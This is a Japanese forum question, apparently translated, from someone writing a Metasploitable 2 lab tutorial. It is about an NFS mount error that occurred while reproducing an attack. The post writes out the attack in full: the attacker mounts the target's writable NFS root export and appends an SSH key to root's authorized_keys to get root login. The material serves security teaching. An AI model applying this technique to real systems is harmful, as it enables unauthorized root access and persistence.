mount.nfs: マウント中にサーバーからのアクセスが拒否されました。:/

mount.nfs: マウント中にサーバーからのアクセスが拒否されました。:/

私はMetasploitable 2チュートリアルを書いています。Rapid7 Mestasploitチュートリアルリンク

私は次のことをしようとしています:

書き込み可能なファイルシステムを持つシステムにアクセスするのは簡単ではありません。これを行うには(そしてSSHが実行されているため)、攻撃システムは新しいSSHキーを生成し、NFSエクスポートをインストールしてからrootauthorized_keysユーザーアカウントのファイルにキーを追加します。

root@ubuntu:~# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.

root@ubuntu:~# mkdir /tmp/r00t
root@ubuntu:~# mount -t nfs 192.168.99.131:/ /tmp/r00t/
root@ubuntu:~# cat ~/.ssh/id_rsa.pub >> /tmp/r00t/root/.ssh/authorized_keys
root@ubuntu:~# umount /tmp/r00t

root@ubuntu:~# ssh [email protected]
Last login: Fri Jun  1 00:29:33 2012 from 192.168.99.128
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

root@metasploitable:~#

次のコマンドを受け取ったとき:mount -t nfs 192.168.99.131:/ /tmp/r00t/

次のエラーが発生します。

mount.nfs: access denied by server while mounting <IP>:/

どんな助けでも大変感謝します。

ベストアンサー1

おすすめ記事